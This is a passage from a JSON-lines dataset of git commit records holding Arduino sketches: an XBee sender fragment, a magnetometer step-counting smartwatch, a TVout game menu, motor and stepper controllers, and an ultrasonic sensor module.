\n paq_sent->opt=0; \n xbee802.hops=0; \n xbee802.setOriginParams(paq_sent,MAC_TYPE);\n \n sprintf(aux,\"|%d|%d|%d|%c\",ACC.getX(),ACC.getY(),ACC.getZ(),'\\n');\n\n xbee802.setDestinationParams(paq_sent, direction, aux, MAC_TYPE, DATA_ABSOLUTE);\n xbee802.sendXBee(paq_sent); \n free(paq_sent);\n paq_sent = NULL;\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main\/c\/ard.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"26621e965d492ab6254c17b29ad18bc76672e439","subject":"5th firmware added with magnetometer as step counter","message":"5th firmware added with magnetometer as step counter\n","repos":"no-go\/UART-Smartwatch,no-go\/UART-Smartwatch,no-go\/UART-Smartwatch","old_file":"Stepper\/watch6\/watch6.ino","new_file":"Stepper\/watch6\/watch6.ino","new_contents":"#include <MsTimer2.h>\n\n#include <Wire.h> \/\/I2C Arduino Library\n#include <Adafruit_Sensor.h>\n#include <Adafruit_HMC5883_U.h>\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\n\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n\/\/ CONFIG -------------------------------------------\n\n\/\/ --------- HARDWARE I2C HMC5883: A4 -> SDA, A5 -> SCL\n#define HMC_DRDY A1 \/\/unused\n\n\/\/ --------- HARDWARE SPI OLED: 11 -> MOSI\/DIN, 13 -> SCK\n#define OLED_CS 4\n#define PIN_RESET 6\n#define PIN_DC 8\n\n#define BUTTON1 3\n#define BUTTON2 2\n\n#define LED_BLUE 10\n#define LED_GREEN 9\n#define LED_RED 5\n#define LED_OFF LOW\n#define LED_ON HIGH\n\n#define SERIAL_SPEED 9600\n#define DISPLAYSEC 10\n\n#define SYS_SWITCH A7\n#define MAS_SWITCH A0\n#define BLE_LED 7 \/\/unused\n\n#define WARN_POWER 3270.0 \/\/ or try 3200, 3500, 3600\n\n\/\/ --------------------------------------------------\n\n#define CHAR_TIME_REQUEST '~'\n#define CHAR_TIME_RESPONSE '#' \/\/#HH:mm:ss\n#define CHAR_NOTIFY_HINT '%' \/\/%[byte]\n\n#define MEMOSTR_LIMIT 115\n#define STEP_TRESHOLD 0.125\n\n#define MOVIE_X 7\n#define MOVIE_Y 52\n\nint vcc;\nbool powerlow = false;\n\n#define MINDIF 10\n\nint xx,yy,zz;\nint minx=400, maxx=0;\nint miny=400, maxy=0;\nint minz=400, maxz=0;\nfloat changes = 0.0;\nfloat changes_old = 0.0;\nfloat delta = 0.0;\nunsigned int steps = 0;\n\nchar memoStr[MEMOSTR_LIMIT] = {'\\0'};\nint memoStrPos = 0;\nchar buffMem;\nint cEnd = 0;\nint cStart= 0;\nbyte COUNT = 0;\n\nbyte hours = 0;\nbyte minutes = 0;\nbyte seconds = 0;\nbyte tick = 0;\nint dsec = DISPLAYSEC;\n\nclass OledWrapper : public Adafruit_SSD1306 {\n public:\n\n OledWrapper(const int & dc, const int & res, const int & cs) : Adafruit_SSD1306(dc,res,cs) {}\n\n void begin() {\n Adafruit_SSD1306::begin(SSD1306_SWITCHCAPVCC);\n clearDisplay();\n setTextSize(1); \/\/ 8 line with 21 chars\n setTextColor(WHITE);\n setCursor(0,0); \n }\n\n void black(const int & num) {\n setTextColor(BLACK);\n print(num); \n setTextColor(WHITE); \n }\n void black(const int & x, const int & y, const int & w, const int & h) {\n fillRect(x,y,w,h, BLACK);\n }\n void line(const int & x, const int & y, const int & xx, const int & yy) {\n drawLine(x,y,xx,yy, WHITE);\n }\n void pixel(const int & x, const int & y) {\n drawPixel(x,y, WHITE);\n }\n void rect(const int & x, const int & y, const int & w, const int & h) {\n drawRect(x,y,w,h, WHITE);\n }\n void rectFill(const int & x, const int & y, const int & w, const int & h) {\n fillRect(x,y,w,h, WHITE);\n }\n void circle(const int & x, const int & y, const int & radius) {\n drawCircle(x,y,radius, WHITE);\n }\n void setFontType(const int & t) {\n setTextSize(t);\n }\n void on() {\n ssd1306_command(SSD1306_DISPLAYON);\n }\n void off() {\n ssd1306_command(SSD1306_DISPLAYOFF);\n }\n void clear() {\n clearDisplay();\n }\n void command(uint8_t cmd) {\n ssd1306_command(cmd);\n }\n char umlReplace(char inChar) {\n if (inChar == -97) {\n inChar = 224; \/\/ \u00df\n } else if (inChar == -80) {\n inChar = 248; \/\/ \u00b0\n } else if (inChar == -67) {\n inChar = 171; \/\/ 1\/2\n } else if (inChar == -78) {\n inChar = 253; \/\/ \u00b2\n } else if (inChar == -92) {\n inChar = 132; \/\/ \u00e4\n } else if (inChar == -74) {\n inChar = 148; \/\/ \u00f6\n } else if (inChar == -68) {\n inChar = 129; \/\/ \u00fc\n } else if (inChar == -124) {\n inChar = 142; \/\/ \u00c4\n } else if (inChar == -106) {\n inChar = 153; \/\/ \u00d6\n } else if (inChar == -100) {\n inChar = 154; \/\/ \u00dc\n } else if (inChar == -85) {\n inChar = 0xAE; \/\/ <<\n } else if (inChar == -69) {\n inChar = 0xAF; \/\/ >>\n }\n return inChar; \n }\n};\n\nOledWrapper * oled = new OledWrapper(PIN_DC, PIN_RESET, OLED_CS);\n\nenum {MSG_NO, MSG_CAL, MSG_MAIL, MSG_SMS, MSG_OTHER};\nint iconType = MSG_NO;\n\nstatic const uint8_t PROGMEM move0[] = {\nB00010000,\nB00101000,\nB11000111,\nB01000010,\nB01000100,\nB10010010,\nB11101110,\nB00000000,\n};\n\nstatic const uint8_t PROGMEM move1[] = {\nB00100100,\nB00111100,\nB01011010,\nB01011010,\nB00111100,\nB00011000,\nB00111100,\nB01011010,\nB00011000,\nB00100100,\nB00100100,\nB01100110\n};\n\nstatic const uint8_t PROGMEM move2[] = {\nB00111000,\nB01111100,\nB01111010,\nB01111010,\nB00111100,\nB00111000,\nB00111110,\nB00111000,\nB00011000,\nB01111100,\nB10000010,\nB00000011\n};\n\n\nstatic const uint8_t PROGMEM icon_calendar[] = {\nB11111111,\nB11111111,\nB10000001,\nB10000001,\nB10000101,\nB10000001,\nB11111111,\nB00000000\n};\nstatic const uint8_t PROGMEM icon_mail[] = {\nB11111111,\nB10000001,\nB11000011,\nB10100101,\nB10011001,\nB10000001,\nB11111111,\nB00000000\n};\nstatic const uint8_t PROGMEM icon_messaging[] = {\nB00111110,\nB01000001,\nB01000001,\nB01000001,\nB01000001,\nB01011110,\nB01100000,\nB01000000\n};\nstatic const uint8_t PROGMEM icon_other[] = {\nB00000111,\nB00011011,\nB01100101,\nB10001001,\nB01010001,\nB00110001,\nB00101101,\nB00110011 \n};\n\n\nvoid mesure() {\n static sensors_event_t event; \n mag.getEvent(&event);\n \n \/\/ get new\n xx = event.magnetic.x + 184;\n yy = event.magnetic.y + 184;\n zz = event.magnetic.z + 184;\n if (xx == -188) xx=500;\n if (yy == -188) yy=500;\n if (zz == -188) zz=500;\n if (xx < minx) minx=xx;\n if (yy < miny) miny=yy;\n if (zz < minz) minz=zz;\n if (xx<500 && xx > maxx) maxx=xx;\n if (yy<500 && yy > maxy) maxy=yy;\n if (zz<500 && zz > maxz) maxz=zz;\n\n changes = ( (float) xx \/ (float)(maxx-minx) ) + ( (float) yy \/ (float)(maxy-miny) ) + ( (float) zz \/ (float)(maxz-minz) );\n delta = ab(changes_old - changes);\n changes_old = changes;\n\n if (delta > STEP_TRESHOLD) {\n steps++;\n if (steps%20 == 0) {\n \/\/analogWrite(LED_RED, 250);\n analogWrite(LED_GREEN, 130);\n \/\/analogWrite(LED_BLUE, 130);\n delay(50);\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n if (steps%500 == 0) Serial.println(steps);\n }\n}\n\nvoid readVcc() {\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n delay(10); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n vcc = ADCL; \n vcc |= ADCH<<8; \n vcc = 1126400L \/ vcc;\n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n if (memoStrPos >= MEMOSTR_LIMIT) memoStrPos = MEMOSTR_LIMIT;\n char inChar = (char)Serial.read();\n if (inChar == -61) continue; \/\/ symbol before utf-8\n if (inChar == -62) continue; \/\/ other symbol before utf-8\n if (inChar == '\\n') {\n memoStr[memoStrPos] = '\\0';\n dsec = 0;\n cEnd = 0;\n cStart = 0;\n buffMem = memoStr[cEnd];\n continue;\n }\n \n memoStr[memoStrPos] = oled->umlReplace(inChar);\n memoStrPos++; \n if (memoStrPos >= MEMOSTR_LIMIT) {\n \/\/ ignore the other chars\n memoStrPos = MEMOSTR_LIMIT-1;\n memoStr[memoStrPos] = '\\0';\n }\n }\n}\n\ninline void ticking() {\n tick++;\n \/\/ debug\n \/\/minutes++;\n if (tick > 9) {\n seconds += tick\/10;\n dsec++;\n }\n \n if (tick > 9) {\n tick = tick % 10;\n if (seconds > 59) {\n minutes += seconds \/ 60;\n seconds = seconds % 60;\n if (minutes%5 == 0) Serial.println(steps);\n \n \/\/ modify limits every 1min to make a better re-calibration \n if (minx > 1 && maxx < 399 && ( (maxx-minx) < MINDIF)) {\n maxx--; minx++;\n }\n if (miny > 1 && maxy < 399 && ( (maxy-miny) < MINDIF)) {\n maxy--; miny++;\n }\n if (minz > 1 && maxz < 399 && ( (maxz-minz) < MINDIF)) {\n maxz--; minz++;\n }\n }\n if (minutes > 59) {\n hours += minutes \/ 60;\n minutes = minutes % 60;\n }\n if (hours > 23) {\n hours = hours % 24;\n }\n }\n if (COUNT > 0) {\n if (tick == 0) {\n analogWrite(LED_GREEN, 100); \n analogWrite(LED_RED, 50); \n } else {\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n }\n}\n\nint myFont(int x, int y, byte b) {\n int he = 18;\n if (b>9) {\n x = myFont(x,y,b\/10);\n b = b%10;\n }\n if (b == 0) {\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2;\n } else if (b == 1) {\n oled->line(x,y+5,x+5,y);\n oled->line(x+5,y,x+5,y+he);\n return x+8; \n } else if (b == 2) {\n oled->circle(x+he\/4, y-3+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n oled->line(x+he\/4,y+he-3,x+he\/2,y+he);\n return x+2+he\/2;\n } else if (b == 3) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n return x+2+he\/2;\n } else if (b == 4) {\n oled->line(x,y+he\/2,x+he\/2,y);\n oled->line(x,y+he\/2,x+he\/2,y+he\/2);\n oled->line(x+he\/2,y,x+he\/2,y+he);\n return x+2+he\/2; \n } else if (b == 5) {\n oled->line(x+he\/4,y,x+he\/2,y);\n oled->line(x+he\/4,y,x+he\/4,y+he\/2);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n oled->black(x,y,he\/4,he);\n return x+2+he\/2; \n } else if (b == 6) {\n oled->line(x,y-2+3*he\/4,x+he\/2,y);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2; \n } else if (b == 7) {\n oled->line(x,y+3,x+he\/2,y);\n oled->line(x+he\/2,y,x,y+he);\n oled->line(x+3,y+he\/2,x+he\/2-1,y+he\/2);\n return x+2+5; \n } else if (b == 8) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->circle(x+he\/4, y+3*he\/4, he\/4);\n return x+2+he\/2;\n } else if (b == 9) {\n oled->circle(x+he\/4, y+1*he\/4, he\/4);\n oled->line (x+he\/2, y+1*he\/4, x+he\/2, y+he);\n return x+2+he\/2;\n }\n}\n\nvoid anaClock() {\n byte x = 96;\n byte y = 38;\n byte radius = 25;\n oled->circle(x, y, radius);\n int hour = hours;\n if (hour>12) hour-=12;\n oled->line(\n x, y,\n x + (radius-2)*cos(PI * ((float)seconds-15.0) \/ 30),\n y + (radius-2)*sin(PI * ((float)seconds-15.0) \/ 30)\n );\n \n oled->line(\n x, y,\n x + (radius-5)*cos(PI * ((float)minutes-15.0) \/ 30),\n y + (radius-5)*sin(PI * ((float)minutes-15.0) \/ 30)\n );\n \n oled->line(\n x, y,\n x + (radius-14)*cos(PI * ((float)hour+((float)minutes\/60-0) -3.0) \/ 6),\n y + (radius-14)*sin(PI * ((float)hour+((float)minutes\/60.0) -3.0) \/ 6)\n );\n \n for (byte i=0; i<12; ++i) {\n oled->pixel(x + (radius-3)*cos(PI * ((float)i) \/ 6), y + (radius-3)*sin(PI * ((float)i) \/ 6)); \n } \n}\n\nvoid printClock() {\n if (hours<10) {\n int xx = myFont(1, 2, 0);\n myFont(xx, 2, hours);\n } else {\n myFont(1, 2, hours);\n }\n if (minutes<10) {\n int xx = myFont(27, 2, 0);\n myFont(xx, 2, minutes);\n } else {\n myFont(27, 2, minutes);\n }\n if (seconds<10) {\n int xx = myFont(53, 2, 0);\n myFont(xx, 2, seconds);\n } else {\n myFont(53, 2, seconds);\n }\n\n \n if(tick==0 || tick==1 || tick==2) oled->drawBitmap(3*tick, 23+(2*tick), move0, 8, 8, WHITE);\n if(tick==5 || tick==3 || tick==4) oled->drawBitmap(3*tick, 23+(2*tick), move2, 8, 12, WHITE);\n if(tick>6) oled->drawBitmap(3*tick, 23+(2*tick), move1, 8, 12, WHITE);\n\n anaClock();\n \n oled->setTextSize(1);\n if (COUNT > 0) {\n oled->setCursor(97, 2);\n oled->print(COUNT); \n }\n\n if (delta > 0.2) {\n oled->on();\n dsec = 0;\n }\n \n oled->setCursor(5,55);\n oled->print(steps);\n \n oled->setCursor(50,55);\n oled->print(vcc\/34); \/\/3400 -> 100%\n oled->print('%');\n}\n\ninline void wakeUpIcon() {\n oled->clear();\n digitalWrite(LED_RED, LED_OFF);\n analogWrite(LED_BLUE, 10);\n analogWrite(LED_GREEN, 5);\n oled->circle(oled->width()\/2, oled->height()\/2, 5);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display();\n delay(100);\n analogWrite(LED_BLUE, 50);\n analogWrite(LED_GREEN, 20);\n oled->circle(oled->width()\/2, oled->height()\/2, 10);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display();\n delay(100);\n analogWrite(LED_BLUE, 100);\n analogWrite(LED_GREEN, 50);\n oled->circle(oled->width()\/2, oled->height()\/2, 15);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display(); \n delay(100);\n analogWrite(LED_BLUE, 200);\n analogWrite(LED_GREEN, 90);\n oled->circle(oled->width()\/2, oled->height()\/2, 20);\n oled->black(0,0,oled->width()\/2, oled->height());\n oled->black(oled->width()\/2, oled->height()\/2,oled->width()\/2, oled->height()\/2);\n oled->display(); \n delay(200);\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n}\n\ninline byte tob(char c) { return c - '0';}\n\nfloat ab(float x) {\n if (x<0) return -1*x;\n return x; \n}\n\nint slen(char * str) {\n int i;\n for (i=0;str[i] != '\\0' && i < 1000; ++i);\n return i;\n}\n\nvoid setup() {\n pinMode(BUTTON1, INPUT_PULLUP);\n pinMode(BUTTON2, INPUT_PULLUP);\n pinMode(LED_RED, OUTPUT);\n pinMode(LED_GREEN, OUTPUT);\n pinMode(LED_BLUE, OUTPUT);\n\n Serial.begin(SERIAL_SPEED);\n\n oled->begin();\n oled->clearDisplay();\n oled->display();\n buffMem = '\\0';\n\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n\n mag.begin();\n delay(7);\n \n oled->clearDisplay();\n buffMem = '\\0';\n \n MsTimer2::set(100, ticking); \/\/ 100ms period\n MsTimer2::start();\n}\n\nvoid loop() {\n delay(111);\n \n if (seconds == 10 || tick == 1) {\n readVcc();\n if (vcc < WARN_POWER && powerlow == false) {\n powerlow = true;\n Serial.print(\"Steps: \");\n Serial.println(steps);\n Serial.print(vcc);\n Serial.println(\" mV\");\n } else {\n powerlow = false;\n }\n }\n \n oled->clear();\n printClock();\n oled->setTextSize(1);\n mesure();\n \n if (dsec < DISPLAYSEC && cStart < memoStrPos) {\n oled->setCursor(0,22);\n oled->black(0,22,128,42);\n oled->print(&(memoStr[cStart]));\n }\n\n if (dsec == DISPLAYSEC) {\n memoStr[0] = '\\0';\n memoStrPos = 0;\n oled->off();\n }\n\n oled->setCursor(0, 0);\n \n if (digitalRead(BUTTON1) == LOW) {\n oled->on();\n dsec = 0;\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n }\n\n if (digitalRead(BUTTON2) == LOW) {\n delay(200); \n if (digitalRead(BUTTON2) == LOW) {\n \n COUNT = 0;\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n\n Serial.print(\"Steps: \");\n Serial.println(steps);\n Serial.print(vcc);\n Serial.println(\" mV\");\n\n oled->on();\n dsec = 0;\n wakeUpIcon();\n \n \/\/ \"remove\" old chars from buffer\n \/\/ print ignores everyting behind \\0\n memoStr[0] = '\\0';\n memoStrPos = 0;\n iconType = MSG_NO;\n Serial.print(CHAR_TIME_REQUEST);\n Serial.print('\\n');\n }\n }\n \n if (COUNT > 0) {\n int l = slen(memoStr);\n if (\n (l > 8 &&\n memoStr[l-8] == 'c' &&\n memoStr[l-7] == 'a' &&\n memoStr[l-6] == 'l' &&\n memoStr[l-5] == 'e' &&\n memoStr[l-4] == 'n' &&\n memoStr[l-3] == 'd' &&\n memoStr[l-2] == 'a' &&\n memoStr[l-1] == 'r') || iconType == MSG_CAL\n ) {\n oled->drawBitmap(86, 2, icon_calendar, 8, 8, WHITE);\n iconType = MSG_CAL;\n } else if (\n (l > 9 &&\n memoStr[l-9] == 'm' &&\n memoStr[l-8] == 'e' &&\n memoStr[l-7] == 's' &&\n memoStr[l-6] == 's' &&\n memoStr[l-5] == 'a' &&\n memoStr[l-4] == 'g' &&\n memoStr[l-3] == 'i' &&\n memoStr[l-2] == 'n' &&\n memoStr[l-1] == 'g') || iconType == MSG_SMS\n ) {\n oled->drawBitmap(86, 2, icon_messaging, 8, 8, WHITE);\n iconType = MSG_SMS;\n } else if (\n (l > 7 &&\n memoStr[l-7] == 'f' &&\n memoStr[l-6] == 's' &&\n memoStr[l-5] == 'c' &&\n memoStr[l-4] == 'k' &&\n memoStr[l-3] == '.' &&\n memoStr[l-2] == 'k' &&\n memoStr[l-1] == '9') || iconType == MSG_MAIL\n ) {\n oled->drawBitmap(86, 2, icon_mail, 8, 8, WHITE);\n iconType = MSG_MAIL;\n } else if (\n (l > 5) || iconType == MSG_OTHER\n ) {\n oled->drawBitmap(86, 2, icon_other, 8, 8, WHITE);\n iconType = MSG_OTHER;\n }\n } else {\n digitalWrite(LED_RED, LED_OFF);\n digitalWrite(LED_GREEN, LED_OFF);\n digitalWrite(LED_BLUE, LED_OFF);\n iconType = MSG_NO;\n }\n \n if (memoStr[0] == CHAR_TIME_RESPONSE) { \n \/\/ extract the time -------------------------\n \n memoStr[0] = ' ';\n hours = tob(memoStr[1])*10 + tob(memoStr[2]);\n minutes = tob(memoStr[4])*10 + tob(memoStr[5]);\n seconds = tob(memoStr[7])*10 + tob(memoStr[8]);\n\n } else if (memoStr[0] == CHAR_NOTIFY_HINT) {\n \/\/ there is a new message (or a message is deleted)\n COUNT = (unsigned char) memoStr[1];\n }\n\n oled->display();\n \n if (powerlow) analogWrite(LED_RED, 5*tick);\n\n cEnd++;\n cStart++;\n if (cEnd <= memoStrPos) buffMem = memoStr[cEnd];\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Stepper\/watch6\/watch6.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"141570f7a0c9198d7b98a4e4174264bc015cbf04","subject":"Update SlaveModule.ino","message":"Update SlaveModule.ino","repos":"Robot-Club\/SnakeRobot,ExiaSR\/SnakeRobot,Robot-Club\/SnakeRobot,PeterL328\/SnakeRobot,PeterL328\/SnakeRobot","old_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_file":"Arduino code\/SlaveModule\/SlaveModule.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'code\/SlaveModule\/SlaveModule.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8516e5af025a2a6c0162ef7058f05c8c9c6a1ed4","subject":"Create menu.ino","message":"Create menu.ino","repos":"HackerSpaceMaringa\/PolySpaceGames,HackerSpaceMaringa\/PolySpaceGames","old_file":"games\/menu.ino","new_file":"games\/menu.ino","new_contents":"#include <TVout.h>\n#include <fontALL.h>\n#include \"schematic.h\"\n#include \"TVOlogo.h\"\n\nTVout TV;\n\n#define HRES 144 \/\/Resolucao TV\n#define VRES 96 \/\/\n#define TV_MODE NTSC\n#define REFRESH_RATE 5\n#define FONT8 font8x8 \/\/Fonte padrao\n#define PLAYER1 2 \/\/Potenciometro player 1\n#define PLAYER2 1 \/\/Potenciometro player 2\n\nvoid setup() {\n TV.begin(TV_MODE,HRES,VRES);\n randomSeed(analogRead(0));\n TV.select_font(FONT8);\n}\n\nvoid loop() {\n\n int prev = -1;\n int option = analogRead(1) + analogRead(1) + analogRead(1);\n option = map(option\/100,0,20,3,8);\n \n while(true){\n TV.println(0,0 ,\"*---------------*\\n\");\n TV.println(0,8 ,\"| Hackstation |\\n\");\n TV.println(0,16,\"*---------------*\\n\");\n TV.println(0,24,\"| Pog-Pong |\\n\");\n TV.println(0,32,\"| |\\n\");\n TV.println(0,40,\"| |\\n\");\n TV.println(0,48,\"| |\\n\");\n TV.println(0,56,\"| |\\n\");\n TV.println(0,64,\"| Exit |\\n\");\n TV.println(0,72,\"*---------------*\\n\");\n \n TV.set_cursor(8,option*8);\n TV.print(\">\");\n \n while(option == prev){\n option = analogRead(PLAYER1) + analogRead(PLAYER1) + analogRead(PLAYER1);\n option = map(option\/100,0,20,3,8);\n delay(REFRESH_RATE);\n }\n prev = option;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'games\/menu.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6d75b6148e9ecaec4bd5d967b07682ecc1af282a","subject":"this controls the motor","message":"this controls the motor","repos":"miikama\/pajakurssi","old_file":"motorcontrol.ino","new_file":"motorcontrol.ino","new_contents":"#include \"Time.h\"\n#include \"math.h\"\n\n\n\/* Rotary encoder read example *\/\n#define ENC_A 14\n#define ENC_B 15\n#define ENC_PORT PINC\n#define DC_MOTOR 9\n\n\ntime_t time_start = micros();\ntime_t time_end = 0; \n\ntime_t from_last_speedup = 0;\ntime_t speeduptime = millis();\n\nconst float pi = 3.141593;\nfloat target_w = 0; \nfloat omega = (2*pi * pow(10,6)) \/ (time_end - time_start); \/\/angular velocity rad\/s\n\n\n\n\n \nvoid setup()\n{\n \/* Setup encoder pins as inputs *\/\n pinMode(ENC_A, INPUT);\n digitalWrite(ENC_A, HIGH);\n pinMode(ENC_B, INPUT);\n digitalWrite(ENC_B, HIGH);\n pinMode(DC_MOTOR, OUTPUT);\n \n Serial.begin (115200);\n Serial.println(\"Start\");\n Serial.println(\"give the target angular velocity (int)\");\n target_w = read_serial();\n \/\/starting motor and waiting for a bit\n analogWrite(DC_MOTOR, 255);\n delay(100); \n}\n \nvoid loop()\n{\n static uint16_t counter = 0; \/\/this variable will be changed by encoder input\n int16_t tmpdata; \n \n \/**\/\n tmpdata = read_encoder();\n \n \/\/if enough time has passed since the last speed change -> check if wanted speed\n \/*\n from_last_speedup = millis() - speeduptime;\n if( from_last_speedup > 100){\n analogWrite(DC_MOTOR, map(target_w, 0, 1000, 0, 255); \n }*\/\n \n \n if( tmpdata ) {\n if( !(counter % 50)){\n Serial.print(\"Counter value: \");\n Serial.println(counter, DEC);\n }\n counter += tmpdata;\n counter = counter % 4092;\n \n if( !(counter) ) {\n time_end = micros(); \n omega = (2*pi * pow(10,6)) \/ (time_end - time_start);\n Serial.print(\"angular velocity: \");\n Serial.println(omega, 5);\n time_start = micros();\n \n \n }\n }\n}\n\n\n\/* reads the serial for user inputted numbers*\/\nint read_serial() \n{\n char intBuffer[12];\n String intData = \"\";\n int delimiter = (int) '\\n';\n \n while(!Serial.available());\n while(1){\n int ch = Serial.read();\n if(ch == -1) {}\n else if (ch == delimiter) {\n break;\n }\n else {\n intData += (char) ch;\n }\n }\n int intLength = intData.length() +1;\n intData.toCharArray(intBuffer, intLength);\n intData = \"\";\n int i = atoi(intBuffer);\n return i;\n}\n \n\/* returns change in encoder state (-1,0,1) *\/\nint16_t read_encoder()\n{\n static int16_t enc_states[] = {0,-1,1,0,1,0,0,-1,-1,0,0,1,0,1,-1,0};\n static uint16_t old_AB = 0;\n \/**\/\n old_AB <<= 2; \/\/remember previous state\n old_AB |= ( ENC_PORT & 0x03 ); \/\/add current state\n return ( enc_states[( old_AB & 0x0f )]);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'motorcontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fd30397634284910f1793b8eca72c6ec4d9ae8da","subject":"Added program to move motor and report change in step to tune gear change","message":"Added program to move motor and report change in step to tune gear change\n","repos":"fkmclane\/derailleurs,fkmclane\/derailleurs,fkmclane\/derailleurs","old_file":"tinkering\/motor\/button_step_count\/button_step_count.ino","new_file":"tinkering\/motor\/button_step_count\/button_step_count.ino","new_contents":"#include <Stepper.h>\n\n#define P1 P4_5\n#define P2 P1_1\n\nconst int stepsPerRevolution = 200;\n\nStepper myStepper(stepsPerRevolution, 12,13,5,9);\n\nshort forward;\nshort backward;\n\nint step_count=0;\n\nvoid setup() {\n \/\/ set the speed at 60 rpm:\n myStepper.setSpeed(60);\n \n \/\/ initialize the serial port:\n Serial.begin(9600);\n\n \/\/ Enable pin pull-up for the buttons\n pinMode(P4_5, INPUT_PULLUP);\n pinMode(P1_1, INPUT_PULLUP);\n\n \/\/ Set modes for enable pins\n pinMode(18, OUTPUT);\n pinMode(19, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ Read button pins \n forward = digitalRead(P1);\n backward = digitalRead(P2);\n\n\n \/\/ Enable or disable motor\n if (forward == 0 || backward == 0) {\n digitalWrite(18, HIGH);\n digitalWrite(19, HIGH);\n }\n else {\n digitalWrite(18, LOW);\n digitalWrite(19, LOW);\n }\n\n \/\/ Turn motor if a button is pressed\n if (forward == 0) {\n myStepper.step(1);\n step_count ++;\n Serial.println(step_count);\n }\n \n if (backward == 0) {\n myStepper.step(-1);\n step_count --;\n Serial.println(step_count);\n }\n\n \/\/ Delay before next loop. Determines how fast the motor turns\n delay(4);\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinkering\/motor\/button_step_count\/button_step_count.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"56a7b91e183bea01641e5ad31d65dce8dcc76ad4","subject":"Adding UltrasonicSensor software","message":"Adding UltrasonicSensor software\n","repos":"Galeje\/Cing","old_file":"Software\/Sensors\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino","new_file":"Software\/Sensors\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino","new_contents":"\/*\nAttiny84 8mhz only\n*\/\n#include <TinyWire.h> \n#include <Adafruit_Sensor.h>\n#include <DHT.h>\n#include <DHT_U.h>\n#include <NewPing.h>\n\n\nuint8_t address;\nuint8_t triggerdistance;\nuint8_t humidity;\nuint8_t temperature;\nuint8_t distance;\n\nfloat duration;\nfloat soundcm;\nfloat soundsp;\nDHT dht(10, DHT11);\nNewPing sonar(3, 2);\nvoid setup(){\n pinMode(0,INPUT_PULLUP);\n pinMode(8,INPUT_PULLUP);\n pinMode(9,INPUT_PULLUP);\n pinMode(7,OUTPUT);\n \n address = get_address();\n TinyWire.begin(address);\n TinyWire.onRequest(requestEvent);\n \n}\nvoid loop()\n {\n triggerdistance = map(analogRead(A1),0,1023,10,50);\n humidity = dht.readHumidity();\n temperature = dht.readTemperature();\n if (isnan(humidity) || isnan(temperature)) {\n soundsp = 331.4 + (0.606 * temperature) + (0.0124 * humidity);\n }\n else{\n soundsp = 331.4;\n }\n soundcm = soundsp \/ 10000;\n duration = sonar.ping_median(3);\n distance = (duration \/ 2) * soundcm;\n if (distance >= 100 || distance == 0){\n distance = 200;\n }\n if(distance < triggerdistance){\n digitalWrite(7,HIGH);\n }\n else{\n digitalWrite(7,LOW);\n }\n delay(30);\n }\nvoid requestEvent()\n{\n TinyWire.send(distance);\n TinyWire.send(temperature);\n TinyWire.send(humidity);\n TinyWire.send(triggerdistance);\n}\nuint8_t get_address(){\n uint8_t address = 16 + !digitalRead(0)*1+!digitalRead(8)*2+!digitalRead(9)*4;\n return address;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Software\/Sensors\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3624d9f4907e09049c76b5304eba6d8f94159afa","subject":"Added file for picture streaming development","message":"Added file for picture streaming 